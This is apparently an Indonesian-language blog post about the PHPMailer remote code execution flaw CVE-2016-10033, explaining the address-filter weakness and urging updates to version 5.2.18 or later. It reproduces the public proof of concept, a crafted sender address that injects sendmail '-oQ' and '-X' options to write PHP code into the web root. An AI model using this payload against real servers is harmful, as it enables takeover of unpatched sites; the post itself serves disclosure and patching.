Tepat pada 25 Desember 2016, CVE-2016-10033 resmi dirilis ke publik oleh hacker ternama asal Portugal, om Dawid Golunski. CVE terbaru tersebut menyasar critical vulnerability di PHPMailer.

Yup, PHPMailer gan. Library sejuta umat yang digunakan untuk mengirim email oleh berbagai CMS dan framework ternama dunia. Setidaknya CMS berikut ini harus segera diupdate:

  • WordPress
  • Drupal
  • 1CRM
  • SugarCRM
  • Joomla

dan beberapa framework PHP seperti:

  • Yii
  • Symfony2

Pokoknya semua yang memakai PHPMailer < versi 5.2.18.

Kelemahan PHPMailer

Seperti diungkap oleh om Dawid, PHPMailer mengirimkan email lewat function mail().

protected function mailSend($header, $body)
    {
        $toArr = array();
        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = implode(', ', $toArr);

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender)) {
            $params = sprintf('-f%s', $this->Sender);
        }
        if ($this->Sender != '' and !ini_get('safe_mode')) {
            $old_from = ini_get('sendmail_from');
            ini_set('sendmail_from', $this->Sender);
        }
        $result = false;
        if ($this->SingleTo and count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);

Dimana salah satu cuplikan source codenya seperti diatas.

Penggunaanya biasanya menggunakan sintaks berikut: $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);

Lalu apa pangkal masalahnya? Masalahnya adalah proses filter parameter yang (bisa jadi) tidak sempurna.

PHPMailer dalam memvalidasi alamat email yang dimasukkan oleh user menggunakan standar RFC3696, dimana kelemahan standar itu adalah memperbolehkan alamat email yang mengandung karakter spasi, seperti “luthfi emka@gmail.com” misalnya.

Berikut cuplikan method SetForm dan cara filter parameternya di PHPMailer:

public function setFrom($address, $name = '', $auto = true)
{
$address = trim($address);
$name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
// Don't validate now addresses with IDN. Will be done in send().
if (($pos = strrpos($address, '@')) === false or
    (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
    !$this->validateAddress($address)) {
...

Dimana jika user memasukkan parameter ilegal seperti “Attacker \” -Param2 -Param3″@test.com, parameter tersebut ternyata sukses tidak terjaring FILTER dan masuk dieksekusi oleh aplikasi sendmail yang biasa digunakan oleh PHPMailer dan tentunya mengeksekusi aplikasi lain di server kita dari jauh (Remote code execution).

Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fAttacker\]
Arg no. 4 == [-Param2]
Arg no. 5 == [-Param3"@test.com]

Contoh exploit yang saat ini beredar mungkin lebih menjelaskan konsep ini gan:

// Attacker's input coming from untrusted source such as $_GET , $_POST etc.
// For example from a Contact form

$email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php  some"@email.com';
$msg_body  = "<?php phpinfo(); ?>";

// ------------------


// mail() param injection via the vulnerability in PHPMailer

require_once('class.phpmailer.php');
$mail = new PHPMailer(); // defaults to using php "mail()"

$mail->SetFrom($email_from, 'Client Name');

$address = "customer_feedback@company-X.com";
$mail->AddAddress($address, "Some User");

$mail->Subject    = "PHPMailer PoC Exploit CVE-2016-10033";
$mail->MsgHTML($msg_body);

if(!$mail->Send()) {
  echo "Mailer Error: " . $mail->ErrorInfo;
} else {
  echo "Message sent!\n";
}

dimana parameter yang masuk ke aplikasi daemon sendmail adalah:

Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fattacker\]
Arg no. 4 == [-oQ/tmp/]
Arg no. 5 == [-X/var/www/cache/phpcode.php]
Arg no. 6 == [some"@email.com]

dimana opsi -X di sendmail akan menulis output log ditempat yang ditentukan, yang tentunya bisa kita baca (misal: /var/www atau /var/www/html).

Update Sekarang!

Ayo update CMS maupun Framework PHP mu yang masih menggunakan PHPMailer lawas. FYI, versi 5.2.18 baru (yang lolos dari bug diatas) dirilis 3 hari yang lalu (25 desember 2016) jadi masih sangat-sangat baru.

Yang sudah menggunakan Composer tinggal lakukan composer update, yang belum silakan download versi terbaru dari PHPMailer (saat tulisan ini terbit bahkan) versi 5.2.19 di sini:
https://github.com/PHPMailer/PHPMailer/releases

Referensi bacaan:
– Legal Hacker (official advisory): https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
– Thehackernews: http://thehackernews.com/2016/12/phpmailer-security.html
– Heise Forum: https://www.heise.de/forum/heise-online/News-Kommentare/Luecke-in-PHPMailer-erlaubt-die-Ausfuehrung-fremden-Codes/Erklaerung-wie-die-Luecke-funktioniert/posting-29702835/show/